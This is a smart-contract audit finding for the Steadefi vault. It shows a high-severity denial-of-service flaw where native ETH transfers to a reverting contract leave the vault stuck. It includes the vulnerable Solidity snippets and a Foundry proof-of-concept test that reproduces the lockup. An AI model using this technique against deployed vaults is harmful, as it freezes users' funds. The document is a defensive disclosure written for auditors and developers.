Steadefi
Steadefi
DeFiHardhatFoundryOracle
35,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Vault DOS due to transferring of native tokens

hash

Vulnerability Details

The status of the vault is dependent on successfully sending native tokens to a user in multiple scenarios. This allows an attacker to DOS the vault by reverting the native token transfer (by not having a receive function , having a receive function that will always revert).

Scenarios

An attacker can withdraw with an account that reverts on native token transfer,

function processWithdraw(
GMXTypes.Store storage self
) external {
...... more code
​
try GMXProcessWithdraw.processWithdraw(self) {
// If native token is being withdrawn, we convert wrapped to native
if (self.withdrawCache.withdrawParams.token == address(self.WNT)) {
self.WNT.withdraw(self.withdrawCache.tokensToUser);
(bool success, ) = self.withdrawCache.user.call{value: address(this).balance}("");
require(success, "Transfer failed.");
} else {

https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXWithdraw.sol#L168-L190

When deposit requests are cancelled in GMX, the processDepositCancellation function is invoked which returns the user's deposit. In case the deposit token is wrapped native token, it is unwrapped before sending.

function processDepositCancellation(
GMXTypes.Store storage self
) external {
.... more code
​
if (self.depositCache.depositParams.token == address(self.WNT)) {
self.WNT.withdraw(self.WNT.balanceOf(address(this)));
(bool success, ) = self.depositCache.user.call{value: address(this).balance}("");
require(success, "Transfer failed.");
} else {

https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXDeposit.sol#L193C12-L211

POC Test

Apply the following diff and run forge test --mt test_processDepositCancelFailsDueToAssetTransfer

diff --git a/test/gmx/local/GMXDepositTest.t.sol b/test/gmx/local/GMXDepositTest.t.sol
index 872610a..902f5cf 100644
--- a/test/gmx/local/GMXDepositTest.t.sol
+++ b/test/gmx/local/GMXDepositTest.t.sol
@@ -10,6 +10,12 @@ import { GMXTestHelper } from "./GMXTestHelper.sol";
import { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";
import { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";
+contract NoReceiveETH {
+ function createDepositFunction() external {
+
+ }
+}
+
contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
function test_createDeposit() external {
vm.startPrank(user1);
@@ -136,6 +142,41 @@ contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
assertEq(uint256(vault.store().status), 0);
}
+ function test_processDepositCancelFailsDueToAssetTransfer() external {
+ address noReceiveEthContract = address(new NoReceiveETH());
+
+ deal(noReceiveEthContract, 10 ether);
+ deal(address(WETH), noReceiveEthContract, 10 ether);
+ deal(address(USDC), noReceiveEthContract, 10000e6);
+ deal(address(ARB), noReceiveEthContract, 1000e18);
+
+
+ vm.startPrank(noReceiveEthContract);
+ IERC20(USDC).approve(address(vault), type(uint256).max);
+ IERC20(WETH).approve(address(vault), type(uint256).max);
+ IERC20(ARB).approve(address(vault), type(uint256).max);
+ IERC20(USDC).approve(address(vaultNeutral), type(uint256).max);
+ IERC20(WETH).approve(address(vaultNeutral), type(uint256).max);
+ IERC20(ARB).approve(address(vaultNeutral), type(uint256).max);
+
+ uint256 userEthBalance = address(noReceiveEthContract).balance;
+ uint256 userUsdcBalance = IERC20(USDC).balanceOf(address(noReceiveEthContract));
+
+ _createNativeDeposit(address(WETH), 1e18, 0, SLIPPAGE, EXECUTION_FEE);
+
+ // cancel deposit
+ vm.expectRevert("Transfer failed.");
+ mockExchangeRouter.cancelDeposit(
+ address(WETH),
+ address(USDC),
+ address(vault),
+ address(callback)
+ );
+
+ // the vault will forever be stuck in the deposit status
+ assertEq(uint256(vault.store().status), 1);
+ }
+
function test_processDepositFailure() external {
vm.startPrank(user1);

Impact

DOS of vault which will disallow actions including withdrawals causing the funds of user's to be stuck.

Recommendations

Transfer wrapped tokens itself instead of native tokens.

Updates

Lead Judging Commences

hans Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS by rejecting native token

Impact: High Likelihood: High An attacker can repeatedly force the protocol to get stuck in a not-open status. This can happen on both deposit, withdraw callback for both successful execution and failures. Will group all similar issues.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.